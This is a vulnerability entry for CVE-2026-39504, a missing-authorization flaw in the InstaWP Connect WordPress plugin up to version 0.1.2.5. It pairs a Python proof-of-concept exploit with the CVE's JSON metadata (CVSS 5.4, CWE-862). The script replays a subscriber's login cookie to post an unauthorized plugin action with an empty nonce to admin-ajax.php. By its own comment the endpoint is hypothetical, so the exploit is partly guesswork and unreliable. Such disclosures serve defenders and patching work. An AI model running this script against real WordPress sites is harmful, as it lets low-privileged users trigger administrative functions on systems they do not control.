CVE-2026-39504

import requests # Exploit Title: InstaWP Connect < 0.1.2.5 - Missing Authorization PoC # Description: Low privileged user can access restricted administrative functions. target_url = "http://target-site.com" # Cookie for a low-privileged user (e.g., Subscriber) wp_cookie = "wordpress_logged_in_xxx=...; wordpress_sec_xxx=..." # Vulnerable endpoint (Hypothetical path based on plugin structure) vulnerable_endpoint = "/wp-admin/admin-ajax.php" # Payload attempting to trigger the unauthorized action payload = { "action": "instawp_connect_manage", "nonce": "", "data": "malicious_config" } headers = { "Cookie": wp_cookie, "User-Agent": "Mozilla/5.0 (PoC Scanner)" } try: response = requests.post(target_url + vulnerable_endpoint, data=payload, headers=headers) if response.status_code == 200 and "success" in response.text: print("[+] Vulnerability exploited! Action executed without proper authorization.") print("[+] Response:", response.text[:200]) else: print("[-] Exploit failed or patched.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-39504", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:24.513", "lastModified": "2026-04-29T10:17:25.850", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in InstaWP InstaWP Connect instawp-connect allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects InstaWP Connect: from n/a through <= 0.1.2.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/instawp-connect/vulnerability/wordpress-instawp-connect-plugin-0-1-2-5-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}